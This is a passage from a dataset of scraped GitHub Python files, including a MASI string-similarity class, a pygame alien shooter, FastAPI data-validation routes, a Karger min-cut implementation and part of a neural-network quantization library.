..tokenizer import _Tokenizer\n\n__all__ = ['MASI']\n\n\nclass MASI(_TokenDistance):\n r\"\"\"MASI similarity.\n\n Measuring Agreement on Set-valued Items (MASI) similarity\n :cite:`Passonneau:2006` for two sets X and Y is based on Jaccard\n similarity:\n\n .. math::\n\n sim_{Jaccard}(X, Y) = \\frac{|X \\cap Y|}{|X \\cup Y|}\n\n This Jaccard similarity is scaled by a value M, which is:\n - 1 if :math:`X = Y`\n - :math:`\\frac{2}{3}` if :math:`X \\subset Y` or :math:`Y \\subset X`\n - :math:`\\frac{1}{3}` if :math:`X \\cap Y \\neq \\emptyset`,\n :math:`X \\setminus Y \\neq \\emptyset`, and\n :math:`Y \\setminus X \\neq \\emptyset`\n - 0 if :math:`X \\cap Y = \\emptyset`\n\n\n .. versionadded:: 0.4.0\n \"\"\"\n\n def __init__(\n self,\n tokenizer: Optional[_Tokenizer] = None,\n intersection_type: str = 'crisp',\n **kwargs: Any\n ) -> None:\n \"\"\"Initialize MASI instance.\n\n Parameters\n ----------\n tokenizer : _Tokenizer\n A tokenizer instance from the :py:mod:`abydos.tokenizer` package\n intersection_type : str\n Specifies the intersection type, and set type as a result:\n See :ref:`intersection_type <intersection_type>` description in\n :py:class:`_TokenDistance` for details.\n **kwargs\n Arbitrary keyword arguments\n\n Other Parameters\n ----------------\n qval : int\n The length of each q-gram. Using this parameter and tokenizer=None\n will cause the instance to use the QGram tokenizer with this\n q value.\n metric : _Distance\n A string distance measure class for use in the ``soft`` and\n ``fuzzy`` variants.\n threshold : float\n A threshold value, similarities above which are counted as\n members of the intersection for the ``fuzzy`` variant.\n\n\n .. versionadded:: 0.4.0\n\n \"\"\"\n super(MASI, self).__init__(\n tokenizer=tokenizer, intersection_type=intersection_type, **kwargs\n )\n\n def sim(self, src: str, tar: str) -> float:\n \"\"\"Return the MASI similarity of two strings.\n\n Parameters\n ----------\n src : str\n Source string for comparison\n tar : str\n Target string for comparison\n\n Returns\n -------\n float\n MASI similarity\n\n Examples\n --------\n >>> cmp = MASI()\n >>> cmp.sim('cat', 'hat')\n 0.1111111111111111\n >>> cmp.sim('Niall', 'Neil')\n 0.07407407407407407\n >>> cmp.sim('aluminum', 'Catalan')\n 0.020833333333333332\n >>> cmp.sim('ATCG', 'TAGC')\n 0.0\n\n\n .. versionadded:: 0.4.0\n\n \"\"\"\n if src == tar:\n return 1.0\n\n self._tokenize(src, tar)\n\n a = self._intersection_card()\n b = self._src_only_card()\n c = self._tar_only_card()\n abc = self._union_card()\n\n jaccard = a / abc\n if b == 0 or c == 0:\n monotonicity = 2 / 3\n elif a != 0:\n monotonicity = 1 / 3\n else:\n monotonicity = 0.0\n\n return jaccard * monotonicity\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()\n","repo_name":"chrislit/abydos","sub_path":"abydos/distance/_masi.py","file_name":"_masi.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"69"} +{"seq_id":"33068483758","text":"\r\nclass PlotXY():\r\n\r\n def refleshPlot(self, model, plotWidget):\r\n \r\n # 合計時間を計算\r\n def calicurateTimeAndVelocity(distance, acceleration):\r\n time = ( 2.0 * distance / acceleration )**0.5 # 面積(距離)と角度(加速度)で時間(底辺)を直角三角形の三角関数で計算\r\n velocity = time * acceleration # 速度は時間*加速度\r\n return time, velocity\r\n \r\n def calicurateTimeAndVelocityArray(position_array, a, v_max):\r\n d_max = 0.5 * a * v_max**2.0 # 最高速に達する距離[m]\r\n v_arr = [0.0] # m/s\r\n t_arr = [0.0] # s\r\n for i in range( len(position_array) )[:-1]:\r\n x_def = abs(position_array[i+1] - position_array[i])\r\n\r\n # 台形駆動か = 2点の移動距離の差を2で割った値が最高速に達する距離より大きいか\r\n if x_def / 2.0 > d_max:\r\n accelarate_distance = d_max\r\n deaccelarate_distance = d_max\r\n constant_distance = x_def - d_max * 2.0\r\n else:\r\n # 三角駆動の場合 加速時間と減速時間は2点の移動距離を2で割った値\r\n accelarate_distance = x_def / 2.0\r\n deaccelarate_distance = x_def / 2.0\r\n constant_distance = 0.0\r\n \r\n # 等加速度(加速)\r\n t, v = calicurateTimeAndVelocity(accelarate_distance, a)\r\n t_arr.append(t + t_arr[-1])\r\n v_arr.append(v_arr[-1] + v)\r\n \r\n # 等速度\r\n t_arr.append( constant_distance / v_arr[-1] + t_arr[-1] )\r\n v_arr.append( v_arr[-1] )\r\n \r\n # 等加速度(減速)\r\n t, v = calicurateTimeAndVelocity(deaccelarate_distance, a)\r\n t_arr.append(t + t_arr[-1])\r\n v_arr.append(v_arr[-1] - v)\r\n return t_arr, v_arr\r\n \r\n # モデルのアイテムから座標を取得データがない場合は0.0とする\r\n coordinates = { 'X':[], 'Y':[], 'Z':[] }\r\n for axis in coordinates:\r\n coordinates[axis] = [ self.toFloat( item.get(axis) ) for item in model.items ]\r\n \r\n # xyz位置のグラフにすべての点をプロット\r\n plotWidget['position_xyz'].clear()\r\n plotWidget['position_xyz'].plot(coordinates['X'], coordinates['Y'])\r\n\r\n # xのt-v線図をプロット\r\n for axis in coordinates:\r\n try:\r\n plotWidget['position_' + axis].clear()\r\n times, velocities = calicurateTimeAndVelocityArray(coordinates[axis], 10.0, 1.0)\r\n plotWidget['position_' + axis].plot(times, velocities)\r\n except:\r\n pass\r\n \r\n def toFloat(self, str_):\r\n try:\r\n return float(str_)\r\n except:\r\n return 0.0","repo_name":"xakinon/MechCal","sub_path":"plotXY.py","file_name":"plotXY.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18909391755","text":"import pygame as pg\nfrom pygame import mixer as mx\nimport random as rd\nimport math\n\n# initializes pygame (IMPORTANT TO ADD)\npg.init()\n\n# creates the window\n# pg.display.set_mode((width(x-axis), height(y-axis))\nscreen = pg.display.set_mode((800, 600))\n\n# title and icon\npg.display.set_caption(\"Shoot 'em Aliens\")\nicon = pg.image.load('icon.png')\npg.display.set_icon(icon)\n\n# background of the game\nbackground = pg.image.load('background.png')\n\n# background music\nmx.music.load('background.wav')\nmx.music.play(-1)\n\n# player\nplayerImg = pg.image.load('player.png')\nplayerX = 370\nplayerY = 480\nplayerX_change = 0\nplayerY_change = 0\n\n# enemy1\nenemy1Img = []\nenemy1X = []\nenemy1Y = []\nenemy1X_change = []\nenemy1Y_change = []\nno_of_enemies = 6\nfor i in range(no_of_enemies):\n enemy1Img.append(pg.image.load('enemy1.png'))\n enemy1X.append(rd.randint(0, 735))\n enemy1Y.append(rd.randint(30, 145))\n enemy1X_change.append(2.8)\n enemy1Y_change.append(40)\n\n# bullet\n''' bulletX_change : None because bullet won't move in the x-axis \n bullet_state: 'ready' means bullet is ready to fire\n bullet_state: 'fired' means bullet is fired and is moving '''\nbulletImg = pg.image.load('bullet.png')\nbulletX = 0\nbulletY = playerY\nbulletX_change = None\nbulletY_change = 5\nbullet_state = 'ready'\n\n# score_value\nscore_value = 0\nfont = pg.font.Font('freesansbold.ttf', 32)\ntextX = 10\ntextY = 10\n\n# game over\ngame_over_font = pg.font.Font('freesansbold.ttf', 64)\ngame_over_font2 = pg.font.Font('freesansbold.ttf', 16)\n\n\ndef show_score(x, y):\n score = font.render('Score : ' + str(score_value), True, (0, 255, 255))\n screen.blit(score, (x, y))\n\n\ndef game_over():\n game_over_text = game_over_font.render('GAME OVER', True, (0, 255, 255))\n game_over_text2 = game_over_font2.render('To play again : close and open the game again', True, (0, 128, 128))\n screen.blit(game_over_text, (200, 250))\n screen.blit(game_over_text2, (225, 350))\n\n\ndef player(x, y):\n # blit() method basically draws the image on the screen\n screen.blit(playerImg, (x, y))\n\n\ndef enemy1(img, x, y):\n screen.blit(img, (x, y))\n\n\ndef fire_bullet(x, y):\n global bullet_state\n bullet_state = 'fired'\n screen.blit(bulletImg, (x, y - 28))\n\n\ndef is_collide(a, b, c, d):\n distance = math.sqrt((c - a)**2 + (d - b)**2)\n if distance < 27:\n return True\n\n\n# game loop\nrunning = True\nwhile running:\n\n # screen.fill((Red, Green, Blue)) (sets background colour)\n screen.fill((0, 0, 0))\n\n # background image\n screen.blit(background, (0, 0))\n\n for event in pg.event.get():\n if event.type == pg.QUIT:\n running = False\n\n # check if a key was pressed or not\n if event.type == pg.KEYDOWN:\n # check which key was pressed\n if event.key == pg.K_a or event.key == pg.K_LEFT:\n playerX_change = - 2\n if event.key == pg.K_d or event.key == pg.K_RIGHT:\n playerX_change = 2\n if event.key == pg.K_w or event.key == pg.K_UP:\n playerY_change = - 2\n if event.key == pg.K_s or event.key == pg.K_DOWN:\n playerY_change = 2\n if event.key == pg.K_SPACE:\n if bullet_state == 'ready':\n bullet_sound = mx.Sound('laser.wav')\n bullet_sound.play()\n bulletX = playerX\n fire_bullet(bulletX, bulletY)\n # check if a key was pressed and released or not\n if event.type == pg.KEYUP:\n # check which key was pressed and released or not\n if event.key == pg.K_a or event.key == pg.K_LEFT or event.key == pg.K_d or event.key == pg.K_RIGHT:\n playerX_change = 0\n if event.key == pg.K_w or event.key == pg.K_UP or event.key == pg.K_s or event.key == pg.K_DOWN:\n playerY_change = 0\n\n # PLAYER\n player(playerX, playerY)\n playerX += playerX_change\n playerY += playerY_change\n\n # setting the game boundaries for the player\n if playerX < 0:\n playerX = 0\n if playerX >= 736:\n playerX = 736\n if playerY < 450:\n playerY = 450\n if playerY >= 526:\n playerY = 526\n\n # ENEMY\n for i in range(no_of_enemies):\n\n # GAME OVER\n if enemy1Y[i] > 400:\n for j in range(no_of_enemies):\n enemy1Y[j] = 2000\n game_over()\n break\n\n enemy1(enemy1Img[i], enemy1X[i], enemy1Y[i])\n enemy1X[i] += enemy1X_change[i]\n\n # setting the game boundaries & movement for the enemies\n if enemy1X[i] <= 0:\n enemy1X_change[i] = 2.8\n enemy1Y[i] += enemy1Y_change[i]\n if enemy1X[i] >= 736:\n enemy1X_change[i] = -2.8\n enemy1Y[i] += enemy1Y_change[i]\n\n # COLLISION\n collision = is_collide(enemy1X[i], enemy1Y[i], bulletX, bulletY)\n if collision:\n explosion_sound = mx.Sound('explosion.wav')\n explosion_sound.play()\n bulletY = playerY\n bullet_state = 'ready'\n enemy1X[i] = rd.randint(0, 735)\n enemy1Y[i] = rd.randint(30, 145)\n score_value += 1\n\n # BULLET\n # setting the game boundaries & movement for the bullets\n if bullet_state == 'fired':\n fire_bullet(bulletX, bulletY)\n bulletY -= bulletY_change\n if bulletY <= 0:\n bullet_state = 'ready'\n bulletY = playerY\n\n # SCORE\n show_score(textX, textY)\n\n # updates the screen (IMPORTANT TO ADD)\n pg.display.update()\n","repo_name":"FakeZORO/ShootemAliens","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9178389390","text":"#coding=utf-8\nimport json\n\nclass QEncoder(json.JSONEncoder):\n def default(self,obj):\n #convert object to a dict\n import pdb;pdb.set_trace()\n d = {}\n d['__class__'] = obj.__class__.__name__\n d['__module__'] = obj.__module__\n d.update(obj.__dict__)\n return d\nclass QDecoder(json.JSONDecoder):\n def __init__(self):\n json.JSONDecoder.__init__(self,object_hook=self.dict2object)\n def dict2object(self,d):\n #convert dict to object\n if'__class__' in d:\n class_name = d.pop('__class__')\n module_name = d.pop('__module__')\n module = __import__(module_name)\n class_ = getattr(module,class_name)\n args = dict((key.encode('ascii'), value) for key, value in d.items()) #get args\n inst = class_(**args) #create new instance\n else:\n inst = d\n return inst\n","repo_name":"MSchumi/Django-quest","sub_path":"quest/jsonhelper.py","file_name":"jsonhelper.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"69"} +{"seq_id":"15984869539","text":"import logging\nfrom typing import Dict\n\nfrom fastapi import APIRouter, File, HTTPException, UploadFile, status\nfrom fastapi.logger import logger\n\nfrom app.core.config import Settings\nfrom app.models.enums import ExpectationResultType\nfrom app.models.expect_column_values_to_be_in_set import ColumnValuesToBeInSet\nfrom app.utils.common import read_dataset\nfrom app.utils.geography import (\n country_expectation_suite,\n geography_expectation_suites,\n state_expectation_suite,\n)\nfrom app.utils.minio_transfer import (\n get_files_inside_folder,\n upload_local_file_to_bucket,\n)\n\nlogging.basicConfig(level=logging.INFO)\n\nsettings = Settings()\ngeographic_router = router = APIRouter()\n\n\n@router.get(\n \"/country/expectations\",\n response_model=Dict[str, ColumnValuesToBeInSet],\n response_model_exclude_none=True,\n summary=\"Expected to have Proper Naming Convention for Countries\",\n)\nasync def execute_country_expectation_suite(\n result_type: ExpectationResultType,\n source: str = settings.EXAMPLE_URL_COUNTRY,\n):\n dataset = await read_dataset(source)\n expectation = await country_expectation_suite(dataset, result_type)\n return expectation\n\n\n@router.get(\n \"/state/expectations\",\n response_model=Dict[str, ColumnValuesToBeInSet],\n response_model_exclude_none=True,\n summary=\"Expected to have Proper Naming Convention for State\",\n)\nasync def execute_state_expectation_suite(\n result_type: ExpectationResultType,\n source: str = settings.EXAMPLE_URL_STATE,\n):\n dataset = await read_dataset(source)\n expectation = await state_expectation_suite(dataset, result_type)\n return expectation\n\n\n@router.post(\n \"/expectations\",\n response_model=Dict[str, ColumnValuesToBeInSet],\n response_model_exclude_none=True,\n response_model_exclude_unset=True,\n summary=\"Expected to have Proper Naming Convention for Geography Columns\",\n)\nasync def execute_geography_expectation_suite(\n result_type: ExpectationResultType,\n datasets: UploadFile = File(...),\n):\n try:\n logger.info(f\"dataset: {datasets}\")\n # upload dataset to minio\n s3_folder = await upload_local_file_to_bucket(datasets)\n except Exception as e:\n logger.exception(f\"error: {e}\")\n HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=\"Could not upload file to minio\",\n )\n else:\n s3_files_key = await get_files_inside_folder(s3_folder)\n expectation = await geography_expectation_suites(\n s3_files_key, result_type\n )\n return expectation\n","repo_name":"factly/validly","sub_path":"app/api/api_v1/routers/geography.py","file_name":"geography.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"4913859810","text":"import sys\n\n\ndef get_data():\n try:\n data = []\n number = int(sys.stdin.readline().strip())\n data.append(number)\n for _ in range(number):\n data.append(sys.stdin.readline().split())\n data.append(sys.stdin.readline().split())\n data.append(int(sys.stdin.readline().strip()))\n return data\n except:\n pass\n\ndef func():\n data = get_data()\n k = 1\n for _ in range(data[0]):\n string1 = data[k][0]\n k += 1\n cheng1 = 1\n for char in string1: \n cheng1 = cheng1 * ord(char)\n string2 = data[k][0]\n k += 1\n cheng2 = 1\n for char in string2:\n cheng2 = cheng2 * ord(char)\n if cheng1 % data[k] == cheng2 % data[k]:\n print(\"Yes\")\n else:\n print(\"No\")\n k = k+1\n\n\nfunc()","repo_name":"Unalian/PythonProject","sub_path":"SAP/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23286099696","text":"import os, sys\ncur_dir = os.path.dirname(os.path.abspath(__file__))\ndoudizhu_dir = os.path.join(cur_dir, 'doudizhu')\nsys.path.append(cur_dir)\nsys.path.append(doudizhu_dir)\n\nimport numpy as np\nimport tensorflow as tf\nimport dll_binary_data_utils\nfrom keras.preprocessing.sequence import pad_sequences\n\nclass OutCards_Predictor:\n\n def __init__(self, pbmodel_paths_dict):\n\n self.processor = dll_binary_data_utils.DataProcessor()\n \"\"\"创建graph和session\"\"\"\n self.pred_probs = dict()\n self.graph = tf.Graph()\n self.session = tf.Session(graph=self.graph)\n\n with self.session.as_default():\n with self.graph.as_default():\n for role in [0, 1, 2]:\n with tf.gfile.FastGFile(pbmodel_paths_dict[role], 'rb') as fs:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(fs.read())\n tf.import_graph_def(graph_def, name='role{0}'.format(role))\n self.pred_probs[role] = self.graph.get_tensor_by_name(\n name='role{0}/activation_1/Softmax:0'.format(role))\n\n\n def predict(self, game_info, pad_length=600):\n role, x1, x2, x3, avilable_cards_ids = self.processor.prepare_data_for_predict(game_info)\n pad_input4 = pad_sequences([avilable_cards_ids], pad_length, padding='post')\n feed_dict = {\n 'role{0}/input_1:0'.format(role): np.asarray([x1]),\n 'role{0}/input_2:0'.format(role): np.asarray([x2]),\n 'role{0}/input_3:0'.format(role): np.asarray([x3]),\n 'role{0}/input_4:0'.format(role): pad_input4,\n }\n pred_probs = self.session.run(self.pred_probs[role], feed_dict=feed_dict)[0]\n avilable_probs = pred_probs[0:len(avilable_cards_ids)]\n max_prob_index = np.argmax(avilable_probs)\n return self.processor.id_to_cards[avilable_cards_ids[max_prob_index]]\n\nif __name__ == '__main__':\n game_info = {\n \"玩家当前牌\": [53, 52, 21, 7, 32, 6, 44, 31, 16, 41, 28, 15, 39, 26, 13, 0],\n \"地主id\": 0,\n \"玩家id\": 0,\n \"历次出牌\": [[0, [14, 1], 18], [1, [33, 20], 15], [2, [], 17], [0, [37, 11], 16], [1, [], 15], [2, [], 17]],\n \"底牌\": [7, 32, 11],\n \"桌面上的牌\": [14, 1, 33, 20, 37, 11]\n }\n\n dll_binary_data_utils.replay(game_info)\n pbmodel_paths_dict = {\n 0: os.path.join(os.path.dirname(cur_dir), 'model', 'role0_epoch6-acc0.9581.pb'),\n 1: os.path.join(os.path.dirname(cur_dir), 'model', 'role1_epoch8-acc0.9582.pb'),\n 2: os.path.join(os.path.dirname(cur_dir), 'model', 'role2_epoch7-acc0.9518.pb'),\n }\n\n predictor = OutCards_Predictor(pbmodel_paths_dict)\n out_cards = predictor.predict(game_info)\n print('预测出牌:', out_cards)","repo_name":"creasson/AI-doudizhu","sub_path":"scripts/dll_outcards_predict.py","file_name":"dll_outcards_predict.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"37894529441","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/9/27 23:01\n# @Author : Tong Huaqing\n# @File : my_plot.py\n# @Comment :\n\nfrom data_csv import DataCsv\nimport typing\nimport matplotlib.cm as cm\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass MyPlot(object):\n def __init__(self):\n self.plot_param = None\n self.curve_list = []\n pass\n\n def add_data(self, x, y, label):\n self.curve_list.append({\n \"x\": x,\n \"y\": y,\n \"label\": label\n })\n\n def set_plot_param(self, title, xlabel, ylabel, grid=False, figsize=None):\n self.plot_param = {'title': title, 'xlabel': xlabel, 'ylabel': ylabel, 'grid': grid, 'figsize': figsize}\n\n def semilogx(self):\n # 绘制x坐标为对数的图\n colors = cm.rainbow(np.linspace(0, 1, len(self.curve_list)))\n assert self.plot_param is not None\n fig = plt.figure(figsize=self.plot_param['figsize']) # 新建图\n plt.grid(self.plot_param['grid'])\n plt.title(self.plot_param['title'], fontsize=12)\n plt.xlabel(self.plot_param['xlabel'])\n plt.ylabel(self.plot_param['ylabel'])\n for i, curve in enumerate(self.curve_list):\n plt.semilogx(curve['x'], curve['y'], color=colors[i], label=curve['label'])\n fig.legend(loc=1)\n plt.show()\n","repo_name":"aixia715/my-plot","sub_path":"my_plot.py","file_name":"my_plot.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29161971673","text":"#暴力排序,时间复杂度O(nlog(n))\nimport heapq\ndef getLeastNumbers(nums, k):\n #sort 是应用在 list 上的方法,sorted 可以对所有可迭代的对象进行排序操作。\n # list 的 sort 方法返回的是对已经存在的列表进行操作,无返回值,而内建函数 sorted 方法返回的是一个新的 list,而不是在原来的基础上进行的操作。\n num = sorted(nums)\n return num[:k]\n\n#堆的思想,时间复杂度O(nlogk)\ndef getLeastNumbers_1(arr, k):\n if k == 0:\n return list()\n\n hp = [-x for x in arr[:k]]\n #将一个列表转换为堆,实现小顶堆,时间复杂度为O(1)\n heapq.heapify(hp)\n for i in range(k, len(arr)):\n if -hp[0] > arr[i]:\n #heapq.heappop弹出并返回 heap 的最小的元素,保持堆的不变性。如果堆为空,抛出 IndexError\n #弹出堆顶元素 时间复杂度为O(logk)\n heapq.heappop(hp)\n #:将x压入堆中 时间复杂度为O(logk)\n heapq.heappush(hp, -arr[i])\n ans = [-x for x in hp]\n return ans\n\n\narr = [3,2,14,5,6,1]\nk = 2\nprint(getLeastNumbers_1(arr, k))","repo_name":"Xingyu-Zhao/algorithm020","sub_path":"Week2/LeastNumbers.py","file_name":"LeastNumbers.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"zh","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"10176809843","text":"\"\"\"\nCompute a min cut of an undirected graph using Karger's randomized contraction \nalgorithm.\n\nAssume an undirected graph with n vertices and m edges.\n\nThe single-run version of the algorithm returns a correct min cut of the graph \nwith probability at least ``1 / (n choose 2)``, with a running time of\nRUNNING_TIME.\n\nBy repeating the contraction algorithm ``T = (n choose 2) * ln(n)`` times with\nindependent random choices and returning the smallest cut, the probability of\nnot finding a minimum cut is at most ``1 / n``, with a total running time of\nTOTAL_RUNNING_TIME.\n\nTODO:\nCalculate the running times.\n\nAuthor: \n Christos Nitsas \n (nitsas) \n (chrisnitsas)\n\nLanguage: \n Python 3(.4)\n\nDate: \n November, 2014\n\"\"\"\n\n\nimport random\nimport math\nimport collections\n# modules I've written:\nfrom ..datastructs import union_find\n\n\n__all__ = ['CutStruct', 'karger_min_cut_single_run', 'single_run', \n 'karger_min_cut_multi_run', 'multi_run']\n\n\nCutStruct = collections.namedtuple('CutStruct', ['clusters',\n 'crossing_edges'])\n\n\ndef karger_min_cut_single_run(graph):\n \"\"\"\n Attempt to compute a min cut of the graph by running Karger's randomized\n contraction algorithm a single time.\n \n Parameters:\n graph -- a networkx.Graph type undirected graph (can have self-loops)\n \n Assume a graph with n vertices and m edges. \n \n This usually has a low success probability. Specifically, it will\n correctly return a min cut with probability at least ``1 / (n choose 2)``.\n \n The running time is RUNNING_TIME.\n \"\"\"\n # no need for a special case for graphs with less than 3 nodes; the\n # following code works\n #\n # initialize a union-find structure with the graph's nodes\n ufs = union_find.UnionFind(graph.nodes_iter())\n # Make a shuffled list of all the edges. Instead of picking a random edge \n # at each iteration, we will be (reverse) iterating through the list of\n # shuffled edges.\n edges_list = graph.edges()\n random.shuffle(edges_list)\n # contract edges (i.e. merge nodes) until there's only 2 node clusters\n # left; they will be the two parts of the cut\n while ufs.num_clusters() > 2:\n # pop an edge and contract it; if both of the edge's endpoints belong \n # to the same cluster, the edge will be ignored\n edge = edges_list.pop()\n ufs.union(edge[0], edge[1])\n # we will filter through the remaining edges, deleting edges whose two \n # endpoints belong to the same cluster; what remains is the crossing edges\n # - first define the filter function\n def endpoints_in_different_clusters(edge):\n \"\"\"\n Return True if the edge's endpoints lie in different clusters;\n False otherwise.\n \n This is a closure, it includes the variable ufs from its scope.\n \"\"\"\n if not ufs.joined(edge[0], edge[1]):\n return True\n else:\n return False\n # - now filter the remaining edges\n crossing_edges = list(filter(endpoints_in_different_clusters, edges_list))\n return CutStruct(ufs.clusters(), crossing_edges)\n\n\nsingle_run = karger_min_cut_single_run\n\n\ndef karger_min_cut_multi_run(graph, times=None):\n \"\"\"\n Attempt to compute a min cut of the graph by running Karger's randomized\n contraction algorithm a single time.\n \n Assume a graph with n vertices and m edges. \n \n Parameters:\n graph -- a networkx.Graph type undirected graph (can have self-loops)\n times -- integer; the number of times to run karger's randomized min cut \n algorithm; default is ``(n choose 2) * ceil(ln(n))``\n \n Each run has a low success probability. Specifically, each run will \n correctly return a min cut with probability at least ``1 / (n choose 2)``.\n Runs are independent so the overall success probability of the multiple \n runs is at least ``times / (n choose 2)``.\n \n The running time is ``times * RUNNING_TIME``.\n \"\"\"\n if times is None:\n n = graph.number_of_nodes()\n times = math.ceil(n * (n - 1) * math.ceil(math.log(n)) / 2)\n min_cut_size = float('inf')\n min_cut = None\n for i in range(times):\n cut = karger_min_cut_single_run(graph)\n # cut is the namedtuple:\n # (clusters, crossing_edges)\n cut_size = len(cut.crossing_edges)\n if cut_size < min_cut_size:\n min_cut = cut\n min_cut_size = cut_size\n return min_cut\n\n\nmulti_run = karger_min_cut_multi_run\n\n","repo_name":"nitsas/py3algs","sub_path":"py3algs/algorithms/karger_min_cut.py","file_name":"karger_min_cut.py","file_ext":"py","file_size_in_byte":4527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"29819351118","text":"from typing import Callable, Dict, Iterable, List, Union\n\nimport numpy as np\nimport torch\nfrom numpy import ceil\nfrom ppq.core import *\nfrom ppq.executor import BaseGraphExecutor, TorchExecutor\nfrom ppq.executor.base import GLOBAL_DISPATCHING_TABLE\nfrom ppq.IR import (BaseGraph, GraphCommandProcesser, Operation,\n QuantableOperation)\nfrom ppq.log import NaiveLogger\nfrom ppq.quantization.algorithm.training import *\nfrom ppq.quantization.measure import torch_mean_square_error, torch_snr_error\nfrom torch.cuda import empty_cache\nfrom tqdm import tqdm\n\nfrom .base import QuantizationOptimizationPass\n\nlogger = NaiveLogger.get_logger('PPQ')\n\n\ndef has_bias(op: Operation):\n if op.type in {'Conv', 'ConvTranspose', 'Gemm'}:\n return op.meta_data.num_of_input == 3\n else: return False\n\n\ndef compute_loss(output_names: List[str],\n graph: BaseGraph,\n dataloader: Iterable,\n collate_fn: Callable,\n executor: TorchExecutor,\n loss_fn: Callable=torch_mean_square_error\n) -> Dict[str, float]:\n losses = {name: 0.0 for name in output_names}\n for idx,data in enumerate(dataloader):\n if collate_fn is not None:\n data = collate_fn(data)\n dequantize_graph(graph)\n fp_outputs = executor.forward(data, output_names)\n restore_quantization_state(graph)\n quant_outputs = executor.forward(data, output_names)\n \n for name, fp_output, quant_output in zip(output_names, fp_outputs, quant_outputs):\n batch_loss = loss_fn(quant_output, fp_output)\n losses[name] += batch_loss.detach().item()\n\n for name in losses:\n losses[name] /= (idx + 1)\n return losses\n\ndef dequantize_graph(graph: BaseGraph, exceptions: List[Operation]=[]) -> None:\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation) and op not in exceptions:\n op.dequantize(expire_device=None)\n\ndef restore_quantization_state(graph: BaseGraph, exceptions: List[Operation]=[]) -> None:\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation) and op not in exceptions:\n op.restore_quantize_state(expire_device=None)\n\n\ndef find_all_blocks(graph: BaseGraph,\n executing_order: List[Operation],\n block_limit: int=None\n ) -> List[TrainableBlock]:\n # block construction function of brecq and lsq algos, if block_limit is \n # specified, the block grandularity will be controlled by block_limit, else\n # the default OPTIM_ADVOPT_GRAPH_MAXSIZE will be used. You can modify this\n # as you need in your model graph structure.\n visited_ops = set()\n blocks = []\n block_builder = BlockBuilder(graph=graph, topo_order=executing_order)\n\n for op in graph.operations.values():\n # start from computing op\n if op not in visited_ops and isinstance(op, QuantableOperation)\\\n and op.is_computing_op:\n if block_limit is None:\n block = block_builder.build(op, OPTIM_ADVOPT_GRAPH_MAXDEPTH)\n else:\n # use given limit\n block = block_builder.build(op, block_limit)\n # by default blocks are exclusive from each other\n for op in block.rps:\n visited_ops.add(op)\n blocks.append(block)\n return blocks\n\n\nclass TrainingBasedPass(QuantizationOptimizationPass):\n \"\"\"\n Training Based Pass is a basic class that provides necessary function for\n all training optimizition passes. Optimization will be more stable and\n accurate with functions provided by this pass. (Might be a little slower).\n\n This pass will collect result of interested outputs after optimization and\n check if the optimized result has a lower SNR. If so, the optimization will be\n accepted, layer weight will be updated, otherwise optimization will be rejected and\n takes no effects.\n\n Choose interested_outputs carefully, cause we compare loss only with those output variables.\n If interested_outputs is None, all graph output variables will be choosen.\n\n YOUR SHOULD NOTICE THAT SNR REFERS TO: POWER OF NOISE / POWER OF SIGNAL IN PPQ.\n\n Args:\n QuantizationOptimizationPass ([type]): [description]\n \"\"\"\n def __init__(self, name: str = 'Default Quanzation Optim', \n interested_outputs: List[str] = None, verbose: bool = True) -> None:\n self._loss_fn = torch_snr_error\n self._interested_outputs = interested_outputs\n self._checkpoints = {}\n self._verbose = verbose\n self._quant_state_recorder = {}\n super().__init__(name=name)\n\n @ empty_ppq_cache\n def initialize_checkpoints(\n self, graph: BaseGraph, executor: BaseGraphExecutor, \n dataloader: Iterable, collate_fn: Callable):\n \"\"\"\n Establish a series of network checkpoints with your network.\n Checkpoint is a data structure that helps us compare quant results and fp32 results. \n Args:\n graph (BaseGraph): [description]\n executor (BaseGraphExecutor): [description]\n dataloader (Iterable): [description]\n collate_fn (Callable): [description]\n\n Raises:\n PermissionError: [description]\n \"\"\"\n for operation in graph.operations.values():\n if isinstance(operation, QuantableOperation):\n for cfg, var in operation.config_with_variable:\n if cfg.state in {QuantizationStates.BAKED, QuantizationStates.PASSIVE_BAKED}:\n raise PermissionError('Can not initialize checkpoints when weight value is baked. '\n f'Variable {var.name} has a baked value.')\n\n if self._interested_outputs is None or len(self._interested_outputs) == 0:\n self._interested_outputs = [name for name in graph.outputs]\n \n for name in self._interested_outputs:\n self._checkpoints[name] = FinetuneCheckPoint(variable=name)\n\n # dequantize graph, collect references\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation): \n op.dequantize()\n\n for data in tqdm(dataloader, desc='Collecting Referecens'):\n if collate_fn is not None: data = collate_fn(data)\n outputs = executor.forward(inputs=data, output_names=self._interested_outputs)\n for name, output in zip(self._interested_outputs, outputs):\n ckpt = self._checkpoints[name]\n assert isinstance(ckpt, FinetuneCheckPoint)\n ckpt.push(tensor=output, 